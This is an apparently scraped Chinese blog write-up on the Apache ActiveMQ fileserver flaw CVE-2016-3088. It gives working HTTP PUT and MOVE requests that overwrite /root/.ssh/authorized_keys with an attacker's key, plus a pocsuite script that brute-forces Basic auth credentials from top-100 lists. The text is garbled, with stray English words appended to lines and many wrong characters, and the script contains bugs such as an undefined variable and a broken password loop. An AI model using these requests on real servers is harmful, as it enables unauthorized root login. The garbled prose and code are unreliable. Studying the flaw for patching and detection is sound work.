CVE-2016-3088 ActiveMQ Fileserver web application vulnerabilitie

概述

该漏洞被发布在http://cve.scap.org.cn/CVE-2016-3088.html,官方发布的位置是http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txthtml

 

影响版本

按照官方说法影响版本为python

Apache ActiveMQ 5.0.0 - 5.13.2

 

漏洞成因

按照官网的说法该漏洞是由于开启了filesever服务,用户能够进行任意文件上传,进而达到任意代码执行的目的。通过本人对该漏洞的研究发现,漏洞的主要成由于两步,第一步使用PUT方法上传文件,第二步使用MOVE方法进行文件移动,这两步缺了一步都不能实现远程代码执行的目的。linux

 

验证方法

通过本人对activemq5.0.0,5.10.0,5.10.1,5.11.0,5.11.1,5.11.2windows版本的测试,和5.12.2的linux版本进行测试,发现使用put进行文件上传通常都可以成功,可是使用move进行文件移动不能移动到web目录下,大部分能够移动到系统目录下,可是也有不肯定性,而且存在有时候须要auth验证,有时候不须要auth验证的状况。所以验证过程须要修改系统文件不存在无伤验证的方式,故这里的验证只是验证文件可否上传,若是能上传则认为存在该漏洞。git

验证使用的http报文为github

PUT /fileserver/x.txt HTTP/1.1
Host: 127.0.0.1:8161
Content-Length: 2

11

 

若是须要auth验证那么加上auth头web

Authorization: Basic base64(admin:admin)

这里须要主要Basic后面的内容须要作base64编码,内容为用户名:密码apache

 

利用方法

由于大部分版本不能MOVE到fileserver的web目录,因此在利用过程当中通常能够尝试爆web服务的操做系统目录进行文件上传和更名,在linux系统下能够直接覆盖/root/.ssh/authorized_keys文件,将本身的公钥传到这个位置进行ssh免密码登陆,由于大多数版本不能直接MOVE到fileserver的web目录,因此这个漏洞利用起来须要其余的信息。下面介绍一下使用ssh免密码登陆的利用方式。windows

第一步PUT公钥到fileserver的web目录服务器

PUT /fileserver/rsa_pub HTTP/1.1
Host: 127.0.0.1:8161
Content-Length: 167

ssh-rsa AAAABsxxxxADAQABAAABAQDxxxxDtwjkzf5YbYOnMvUxxxX1sU/d+WtSxx+6RGeL+qIp2AGJVB6M0qHF+OEWubBIlxxxhMd53tRhnTJFiApj413SBxxxxxxxxxT+mgSnGmjh1y+VOhnOhxxVfqU7/ johnxxx

第二步MOVE公钥到.ssh/authorized_keys文件中app

MOVE /fileserver/rsa_pub HTTP/1.1
Host: 127.0.0.1:8161
Destination: file:///root/.ssh/authorized_keys

这样使用本身的ssh客户端就能够进行登陆了,生成公钥的方式自行百度。

修复方式

按照官网的说法老版本不可以使用fileserver服务,按照个人理解新版本能不用就不用,而且在新版本中没看到fileserver服务,因此默认是取消了该服务,期待有人可以研究源码作出更好的补丁。补丁的下手方式可使禁用MOVE方法,或者不容许MOVE方法MOVE到可执行的目录,和操做系统目录。

 

检测POC

本文贴出使用知道创宇的pocsuite写出来的POC

#!/usr/bin/python
# -*- coding: utf-8 -*-


# If you have issues about development, please read:
# https://github.com/knownsec/Pocsuite/blob/master/docs/CODING.md
# https://github.com/knownsec/Pocsuite/blob/master/docs/COPYING

from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
import urllib2
import random
import base64

# custom 301 and 302 redirection, disallow urllib2 perform automatic redirection
class RedirctHandler(urllib2.HTTPRedirectHandler):
    def http_error_301(self, req, fp, code, msg, headers):
        pass;

    def http_error_302(self, req, fp, code, msg, headers):
        pass;


def init():
    debug_handler = urllib2.HTTPHandler(debuglevel=0)
    proxy_handler = urllib2.ProxyHandler({});
    opener = urllib2.build_opener(debug_handler, RedirctHandler, proxy_handler)
    urllib2.install_opener(opener);


class TestPOC(POCBase):
    name = 'CVE-2016-3088-activemq-fileserver-put'
    vulID = '78176'  # https://www.seebug.org/vuldb/ssvid-78176
    author = ['kongzhen']
    vulType = 'file-upload'
    version = '0.1'  # default version: 1.0
    references = ['null']
    desc = '''The vulnerability is caused miss configuration of 
    activemq fileserver.'''

    vulDate = '2016-11-10'
    createDate = '2016-11-10'
    updateDate = '2016-11-10'

    appName = 'activemq'
    appVersion = 'Apache Group ActiveMQ 5.0.0 - 5.13.2'
    appPowerLink = ''
    samples = ['']
    inited = False;

    def _attack(self):
        '''attack mode'''
        return self._verify()


    def method_put(self, header, url, content):
        request = urllib2.Request(url);
        request.get_method = lambda:"PUT";
        for key in header.keys():
            request.addheader(key, header.get(key));
        resp = None;
        success = False;
        try:
            resp = urllib2.urlopen(request, content);
            if resp.code >= 200 and resp.code < 300:
                success = True;
            else:
                success = False;
        except urllib2.URLError, e:
            if hasattr(e, "code") or hasattr(e, "reson"):
                success = False;
        finally:
            if resp:
                resp.close();
        return success;
            
    
    def method_move(self, header, url):
        request = urllib2.Request(url);
        request.get_method = lambda:"MOVE";
        for key in header.keys():
            request.add_header(key, header.get(key));
        resp = None;
        success = False;
        try:
            resp = urllib2.urlopen(request, content);
            if resp.code >= 200 and resp.code < 300:
                success = True;
            else:
                success = False;
        except urllib2.URLError, e:
            if hasattr(e, "code") or hasattr(e, "reson"):
                success = False;
        finally:
            if resp:
                resp.close();
        return success;
                
    def method_get(self, header, url):
        request = urllib2.Request(url);
        for key in header.keys():
            request.add_header(key, header.get(key));
        resp = None;
        success = False;
        content = None;
        try:
            resp = urllib2.urlopen(request, content);
            if resp.code >= 200 and resp.code < 300:
                success = True;
                content = resp.read();
            else:
                success = False;
        except urllib2.URLError, e:
            if hasattr(e, "code") or hasattr(e, "reson"):
                success = False;
        finally:
            if resp:
                resp.close();
        return {"success":success, "content":content};
    
    
    def _verify(self):
        url = self.url + '/fileserver/cve2016-3088test';
        content = "cve2016-3088test";
        urlmagic = "-magic%s"%(str(random.randint(0, 100)));
        put_status =  self.method_put({}, url+urlmagic, content) ;
        tmp = self.method_get({}, url+urlmagic)
        get_status = tmp["success"] and tmp["content"].find(content) != -1;
        if put_status and get_status:
            result = {};
            result['VerrifyInfo'] = {};
            result['VerrifyInfo']['URL'] = self.url
            return self.parse_output(result);
        password_file = "pocsuite/data/password-top100.txt";
        username_file = "pocsuite/data/username-top100.txt";
        fusername = open(username_file);
        fpassword = open(password_file);
        authorazation_header = None;
        valid_user_password = None;
        for username in fusername.readlines():
            for password in fpassword.readline():
                username = username.replace("\n", "");
                username = username.replace("\r", "");
                pasword = password.replace("\n", "");
                pasword = password.replace("\r", "");
                if self.method_put({"Authorization":"Basic %s"%(base64.b64encode("%s:%s"%(username, password)))}, url+urlmagic, content):
                    authorazation_header = {"Authorization":"Basic %s"%(base64.b64encode("%s:%s"%(username, password)))}
                    valid_user_password = "%s:%s"%(username,password);
                    break;
        if authorazation_header == None:
            result = None;
            return self.parse_output(result);
        else:
            tmp = self.method_get(authorazation_header, url+urlmagic);
            if tmp["success"] and tmp["content"].find(content) != -1:
                result = {};
                result['VerrifyInfo'] = {};
                result['VerrifyInfo']['URL'] = self.url
                result['VerrifyInfo']['Postdata'] = valid_user_password;
                return self.parse_output(result);
        #never reached

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)

 

结语

该漏洞因为须要其余的信息,而且官方的不一样版本存在不能稳定put和move的状况,不一样服务器存在不一样配置的状况,因此相对鸡肋。可是几个信息一旦结合危害比较大。

相关文章
相关标签/搜索